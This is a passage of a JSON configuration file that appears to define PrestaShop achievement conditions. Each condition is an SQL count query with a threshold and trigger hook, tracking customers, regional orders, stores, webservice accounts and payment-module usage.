\"pub@prestashop.com\"","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionObjectCustomerAddAfter","id_ps_condition":"60"},"61":{"name":"Customers x100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer WHERE email != \"pub@prestashop.com\"","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionObjectCustomerAddAfter","id_ps_condition":"61"},"62":{"name":"Customers x1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer WHERE email != \"pub@prestashop.com\"","operator":">=","value":"1000","calculation_type":"time","calculation_detail":"1","id_ps_condition":"62"},"63":{"name":"Customers x10 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer WHERE email != \"pub@prestashop.com\"","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"2","id_ps_condition":"63"},"64":{"name":"Customers x100 000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_customer WHERE email != \"pub@prestashop.com\"","operator":">=","value":"100000","calculation_type":"time","calculation_detail":"4","id_ps_condition":"64"},"71":{"name":"Western Europe","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\"BE\",\"DE\",\"FR\",\"FX\",\"GB\",\"IE\",\"LU\",\"MC\",\"NL\")","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"71"},"72":{"name":"Southern Europe","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\"IT\",\r\n\"MT\",\r\n\"SM\",\r\n\"VA\",\r\n\"AD\",\r\n\"ES\",\r\n\"GI\",\r\n\"PT\")","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"72"},"73":{"name":"Eastern Europe","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"BY\",\r\n\"EE\",\r\n\"LT\",\r\n\"LV\",\r\n\"MD\",\r\n\"PL\",\r\n\"UA\",\r\n\"AL\",\r\n\"BA\",\r\n\"BG\",\r\n\"GR\",\r\n\"HR\",\r\n\"MK\",\r\n\"RO\",\r\n\"SI\",\r\n\"YU\",\r\n\"RU\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"73"},"74":{"name":"Central Europe","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"AT\",\r\n\"CH\",\r\n\"CZ\",\r\n\"HU\",\r\n\"LI\",\r\n\"SK\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"74"},"75":{"name":"Northern Europe","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"DK\",\r\n\"FI\",\r\n\"FO\",\r\n\"IS\",\r\n\"NO\",\r\n\"SE\",\r\n\"SJ\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"75"},"76":{"name":"North America","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"CA\",\r\n\"GL\",\r\n\"PM\",\r\n\"US\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"76"},"79":{"name":"Oceania","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"UM\",\r\n\"AS\",\r\n\"AU\",\r\n\"CK\",\r\n\"FJ\",\r\n\"FM\",\r\n\"GU\",\r\n\"KI\",\r\n\"MH,\"\r\n\"MP\",\r\n\"NC\",\r\n\"NF\",\r\n\"NR\",\r\n\"NU\",\r\n\"NZ\",\r\n\"PF\",\r\n\"PG\",\r\n\"PN\",\r\n\"PW\",\r\n\"SB\",\r\n\"TK\",\r\n\"TO\",\r\n\"TV\",\r\n\"VU\",\r\n\"WF\",\r\n\"WS\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"79"},"85":{"name":"Asia","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"KG\",\r\n\"KZ\",\r\n\"TJ\",\r\n\"TM\",\r\n\"UZ\",\r\n\"AE\",\r\n\"AM\",\r\n\"AZ\",\r\n\"BH\",\r\n\"CY\",\r\n\"GE\",\r\n\"IL\",\r\n\"IQ\",\r\n\"IR\",\r\n\"JO\",\r\n\"KW\",\r\n\"LB\",\r\n\"OM\",\r\n\"QA\",\r\n\"SA\",\r\n\"SY\",\r\n\"TR\",\r\n\"YE\",\r\n\"AF\",\r\n\"BD\",\r\n\"BT\",\r\n\"IN\",\r\n\"IO\",\r\n\"LK\",\r\n\"MV\",\r\n\"NP\",\r\n\"PK\",\r\n\"CN\",\r\n\"HK\",\r\n\"JP\",\r\n\"KP\",\r\n\"KR\",\r\n\"MO\",\r\n\"TW\",\r\n\"MN\",\r\n\"BN\",\r\n\"CC\",\r\n\"CX\",\r\n\"ID\",\r\n\"KH\",\r\n\"LA\",\r\n\"MM\",\r\n\"MY\",\r\n\"PH\",\r\n\"SG\",\r\n\"TH\",\r\n\"TP\",\r\n\"VN\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"85"},"86":{"name":"South America (Global)","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"BZ\",\r\n\"CR\",\r\n\"GT\",\r\n\"HN\",\r\n\"MX\",\r\n\"NI\",\r\n\"PA\",\r\n\"SV\",\r\n\"AG\",\r\n\"AI\",\r\n\"AN\",\r\n\"AW\",\r\n\"BB\",\r\n\"BM\",\r\n\"BS\",\r\n\"CU\",\r\n\"DM\",\r\n\"DO\",\r\n\"GD\",\r\n\"GP\",\r\n\"HT\",\r\n\"JM\",\r\n\"KN\",\r\n\"KY\",\r\n\"LC\",\r\n\"MQ\",\r\n\"MS\",\r\n\"PR\",\r\n\"TC\",\r\n\"TT\",\r\n\"VC\",\r\n\"VG\",\r\n\"VI\",\r\n\"AR\",\r\n\"BO\",\r\n\"BR\",\r\n\"CL\",\r\n\"CO\",\r\n\"EC\",\r\n\"FK\",\r\n\"GF\",\r\n\"GY\",\r\n\"PE\",\r\n\"PY\",\r\n\"SR\",\r\n\"UY\",\r\n\"VE\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"86"},"88":{"name":"Africa","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"BI\",\r\n\"CF\",\r\n\"CG\",\r\n\"RW\",\r\n\"TD\",\r\n\"ZR\",\r\n\"DJ\",\r\n\"ER\",\r\n\"ET\",\r\n\"KE\",\r\n\"SO\",\r\n\"TZ\",\r\n\"UG\",\r\n\"KM\",\r\n\"MG\",\r\n\"MU\",\r\n\"RE\",\r\n\"SC\",\r\n\"YT\",\r\n\"AO\",\r\n\"BW\",\r\n\"LS\",\r\n\"MW\",\r\n\"MZ\",\r\n\"NA\",\r\n\"SZ\",\r\n\"ZA\",\r\n\"ZM\",\r\n\"ZW\",\r\n\"BF\",\r\n\"BJ\",\r\n\"CI\",\r\n\"CM\",\r\n\"CV\",\r\n\"GA\",\r\n\"GH\",\r\n\"GM\",\r\n\"GN\",\r\n\"GQ\",\r\n\"GW\",\r\n\"LR\",\r\n\"ML\",\r\n\"MR\",\r\n\"NE\",\r\n\"NG\",\r\n\"SL\",\r\n\"SN\",\r\n\"ST\",\r\n\"TG\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"88"},"89":{"name":"Maghreb","type":"sql","request":"SELECT IFNULL(id_order, 0) FROM PREFIX_orders o LEFT JOIN PREFIX_address a ON o.id_address_delivery = a.id_address LEFT JOIN PREFIX_country c ON c.id_country = a.id_country WHERE o.valid = 1 AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\" AND c.iso_code IN (\r\n\"DZ\",\r\n\"EG\",\r\n\"EH\",\r\n\"LY\",\r\n\"MA\",\r\n\"SD\",\r\n\"TN\"\r\n)","operator":"!=","value":"0","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"89"},"90":{"name":"Employees x2","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_employee","operator":">=","value":"2","calculation_type":"hook","calculation_detail":"actionObjectEmployeeAddAfter","id_ps_condition":"90"},"91":{"name":"Employees x3","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_employee","operator":">=","value":"3","calculation_type":"hook","calculation_detail":"actionObjectEmployeeAddAfter","id_ps_condition":"91"},"92":{"name":"Employees x5","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_employee","operator":">=","value":"5","calculation_type":"hook","calculation_detail":"actionObjectEmployeeAddAfter","id_ps_condition":"92"},"93":{"name":"Employees x10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_employee","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionObjectEmployeeAddAfter","id_ps_condition":"93"},"94":{"name":"Employees x20","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_employee","operator":">=","value":"20","calculation_type":"hook","calculation_detail":"actionObjectEmployeeAddAfter","id_ps_condition":"94"},"95":{"name":"Employees x40","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_employee","operator":">=","value":"40","calculation_type":"hook","calculation_detail":"actionObjectEmployeeAddAfter","id_ps_condition":"95"},"96":{"name":"Pictures x1","type":"sql","request":"SELECT id_image FROM PREFIX_image WHERE id_image > 26","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionObjectImageAddAfter","id_ps_condition":"96"},"97":{"name":"Pictures x50","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_image","operator":">=","value":"50","calculation_type":"hook","calculation_detail":"actionObjectImageAddAfter","id_ps_condition":"97"},"98":{"name":"Pictures x100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_image","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionObjectImageAddAfter","id_ps_condition":"98"},"99":{"name":"Pictures x1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_image","operator":">=","value":"1000","calculation_type":"time","calculation_detail":"2","id_ps_condition":"99"},"100":{"name":"Pictures x10000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_image","operator":">=","value":"10000","calculation_type":"time","calculation_detail":"4","id_ps_condition":"100"},"101":{"name":"Pictures x50000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_image","operator":">=","value":"50000","calculation_type":"time","calculation_detail":"8","id_ps_condition":"101"},"102":{"name":"New CMS Page","type":"sql","request":"SELECT id_cms FROM PREFIX_cms WHERE id_cms > 5","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionObjectCMSAddAfter","id_ps_condition":"102"},"103":{"name":"First Cart Rule","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart_rule","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionObjectCartRuleAddAfter \t","id_ps_condition":"103"},"104":{"name":"Cart Rules x10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart_rule","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionObjectCartRuleAddAfter \t","id_ps_condition":"104"},"105":{"name":"Cart Rules x100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart_rule","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionObjectCartRuleAddAfter \t","id_ps_condition":"105"},"107":{"name":"Cart Rules x500","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart_rule","operator":">=","value":"500","calculation_type":"hook","calculation_detail":"actionObjectCartRuleAddAfter \t","id_ps_condition":"107"},"106":{"name":"Cart Rules x1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart_rule","operator":">=","value":"1000","calculation_type":"hook","calculation_detail":"actionObjectCartRuleAddAfter \t","id_ps_condition":"106"},"108":{"name":"Cart Rules x5000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_cart_rule","operator":">=","value":"5000","calculation_type":"hook","calculation_detail":"actionObjectCartRuleAddAfter \t","id_ps_condition":"108"},"109":{"name":"First International Order","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o INNER JOIN PREFIX_address a ON a.id_address = o.id_address_delivery\r\nWHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\") AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"newOrder","id_ps_condition":"109"},"110":{"name":"International Orders x10","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o INNER JOIN PREFIX_address a ON a.id_address = o.id_address_delivery\r\nWHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\") AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\"","operator":">=","value":"10","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"110"},"111":{"name":"International Orders x100","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o INNER JOIN PREFIX_address a ON a.id_address = o.id_address_delivery\r\nWHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\") AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\"","operator":">=","value":"100","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"111"},"113":{"name":"International Orders x1000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o INNER JOIN PREFIX_address a ON a.id_address = o.id_address_delivery\r\nWHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\") AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\"","operator":">=","value":"1000","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"113"},"114":{"name":"International Orders x5000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o INNER JOIN PREFIX_address a ON a.id_address = o.id_address_delivery\r\nWHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\") AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\"","operator":">=","value":"5000","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"114"},"112":{"name":"International Orders x10000","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o INNER JOIN PREFIX_address a ON a.id_address = o.id_address_delivery\r\nWHERE reference NOT IN (\"XKBKNABJK\", \"OHSATSERP\", \"FFATNOMMJ\", \"UOYEVOLI\", \"KHWLILZLL\") AND a.id_country != \"{config}PS_COUNTRY_DEFAULT{\/config}\"","operator":">=","value":"10000","calculation_type":"hook","calculation_detail":"actionOrderStatusUpdate","id_ps_condition":"112"},"165":{"name":"Physical Shop X1","type":"sql","request":"SELECT COUNT(s.`id_store`) FROM PREFIX_store s WHERE `latitude` NOT IN ('25.76500500', '26.13793600', '26.00998700', '25.73629600', '25.88674000') AND `longitude` NOT IN ('-80.24379700', '-80.13943500', '-80.29447200', '-80.24479700', '-80.16329200')","operator":">","value":"0","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerSaveAfter","id_ps_condition":"165"},"166":{"name":"Physical Shop X2","type":"sql","request":"SELECT COUNT(s.`id_store`) FROM PREFIX_store s WHERE `latitude` NOT IN ('25.76500500', '26.13793600', '26.00998700', '25.73629600', '25.88674000') AND `longitude` NOT IN ('-80.24379700', '-80.13943500', '-80.29447200', '-80.24479700', '-80.16329200')","operator":">","value":"1","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerSaveAfter","id_ps_condition":"166"},"167":{"name":"Physical Shop X5","type":"sql","request":"SELECT COUNT(s.`id_store`) FROM PREFIX_store s WHERE `latitude` NOT IN ('25.76500500', '26.13793600', '26.00998700', '25.73629600', '25.88674000') AND `longitude` NOT IN ('-80.24379700', '-80.13943500', '-80.29447200', '-80.24479700', '-80.16329200')","operator":">","value":"4","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerSaveAfter","id_ps_condition":"167"},"168":{"name":"Physical Shop X10","type":"sql","request":"SELECT COUNT(s.`id_store`) FROM PREFIX_store s WHERE `latitude` NOT IN ('25.76500500', '26.13793600', '26.00998700', '25.73629600', '25.88674000') AND `longitude` NOT IN ('-80.24379700', '-80.13943500', '-80.29447200', '-80.24479700', '-80.16329200')","operator":">","value":"9","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerSaveAfter","id_ps_condition":"168"},"169":{"name":"Physical Shop X20","type":"sql","request":"SELECT COUNT(s.`id_store`) FROM PREFIX_store s WHERE `latitude` NOT IN ('25.76500500', '26.13793600', '26.00998700', '25.73629600', '25.88674000') AND `longitude` NOT IN ('-80.24379700', '-80.13943500', '-80.29447200', '-80.24479700', '-80.16329200')","operator":">","value":"19","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerSaveAfter","id_ps_condition":"169"},"170":{"name":"Physical Shop X50","type":"sql","request":"SELECT COUNT(s.`id_store`) FROM PREFIX_store s WHERE `latitude` NOT IN ('25.76500500', '26.13793600', '26.00998700', '25.73629600', '25.88674000') AND `longitude` NOT IN ('-80.24379700', '-80.13943500', '-80.29447200', '-80.24479700', '-80.16329200')","operator":">","value":"49","calculation_type":"hook","calculation_detail":"actionAdminStoresControllerSaveAfter","id_ps_condition":"170"},"171":{"name":"1 webservice account","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_webservice_account","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionAdminWebserviceControllerSaveAfter","id_ps_condition":"171"},"172":{"name":"2 webservice account","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_webservice_account","operator":">=","value":"2","calculation_type":"hook","calculation_detail":"actionAdminWebserviceControllerSaveAfter","id_ps_condition":"172"},"173":{"name":"3 webservice account","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_webservice_account","operator":">=","value":"3","calculation_type":"hook","calculation_detail":"actionAdminWebserviceControllerSaveAfter","id_ps_condition":"173"},"174":{"name":"4 webservice account","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_webservice_account","operator":">=","value":"4","calculation_type":"hook","calculation_detail":"actionAdminWebserviceControllerSaveAfter","id_ps_condition":"174"},"176":{"name":"Module adyen installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%adyen%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"176"},"178":{"name":"Module adyen configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration\r\nWHERE (( name LIKE 'ADYEN_CONFIGURATION_OK') AND ( value = '1')) OR\r\n(( name LIKE 'ADYEN_MODE') AND ( value = 'live'))","operator":"==","value":"2","calculation_type":"time","calculation_detail":"1","id_ps_condition":"178"},"356":{"name":"Module adyen active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%adyen%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"356"},"385":{"name":"Module adyen superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%adyen%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"385"},"210":{"name":"Module ecopresto installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%ecopresto%\" ","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"210"},"212":{"name":"Module ecopresto configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE (( name LIKE 'ECOPRESTO_CONFIGURATION_OK') AND ( value = '1')) OR (( name LIKE 'ECOPRESTO_DEMO ') AND ( value != '1'))","operator":"==","value":"2","calculation_type":"time","calculation_detail":"1","id_ps_condition":"212"},"386":{"name":"Module ecopresto active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%ecopresto%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 30 DAY)","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"386"},"387":{"name":"Module ecopresto superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state LEFT JOIN PREFIX_carrier c ON c.id_carrier = o.id_carrier WHERE c.name like \"%ecopresto %\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 60 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"387"},"137":{"name":"Module hipay installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%hipay%\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"137"},"255":{"name":"Module hipay configured","type":"configuration","request":"HIPAY_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"255"},"362":{"name":"Module hipay active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%hipay%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"362"},"363":{"name":"Module hipay superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%hipay%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"363"},"141":{"name":"Module ogone installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%ogone%\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"141"},"291":{"name":"Module ogone configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE (( name LIKE 'OGONE_CONFIGURATION_OK') AND ( value = '1')) OR (( name LIKE 'OGONE_MODE') AND ( value = 'live'))","operator":"==","value":"2","calculation_type":"time","calculation_detail":"1","id_ps_condition":"291"},"369":{"name":"Module ogone active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%ogone%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"369"},"391":{"name":"Module ogone superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%ogone%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"391"},"142":{"name":"Module paypal installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%paypal%\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"142"},"301":{"name":"Module paypal configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE (( name LIKE 'PAYPAL_CONFIGURATION_OK') AND ( value = '1')) OR (( name LIKE 'PAYPAL_SANDBOX') AND ( value = '0'))","operator":"==","value":"2","calculation_type":"time","calculation_detail":"1","id_ps_condition":"301"},"371":{"name":"Module paypal active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%paypal%\" AND os.logable = 1","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"371"},"372":{"name":"Module paypal superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%paypal%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"372"},"322":{"name":"Module shopgate configured","type":"configuration","request":"SHOPGATE_CONFIGURATION_OK","operator":"==","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"322"},"375":{"name":"Module shopgate active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%shopgate%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"375"},"376":{"name":"Module shopgate superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%shopgate%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"376"},"140":{"name":"Module moneybookers (skrill) installed","type":"sql","request":"SELECT COUNT( id_module ) FROM PREFIX_module WHERE `name` like \"%moneybookers%\"","operator":">=","value":"1","calculation_type":"hook","calculation_detail":"actionModuleInstallAfter","id_ps_condition":"140"},"326":{"name":"Module moneybookers (skrill) configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE (( name LIKE 'MONEYBOOKERS_CONFIGURATION_OK') AND ( value = '1')) OR (( name LIKE 'MB_PAY_TO_EMAIL ') AND ( value != 'testaccount2@moneybookers.com '))","operator":"==","value":"2","calculation_type":"time","calculation_detail":"1","id_ps_condition":"326"},"377":{"name":"Module moneybookers (skrill) active","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%moneybookers%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"1","calculation_type":"time","calculation_detail":"1","id_ps_condition":"377"},"394":{"name":"Module moneybookers (skrill) superactive","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_orders o LEFT JOIN PREFIX_order_state os ON os.id_order_state = o.current_state WHERE o.module like \"%sofortbanking%\" AND os.logable = 1 AND o.date_add > DATE_SUB(NOW(), INTERVAL 90 DAY)","operator":">=","value":"30","calculation_type":"time","calculation_detail":"1","id_ps_condition":"394"},"327":{"name":"Module socolissimo configured","type":"sql","request":"SELECT COUNT(*) FROM PREFIX_configuration WHERE (( name LIKE 'SOCOLISSIMO_CONFIGURATION_OK') AND ( value = 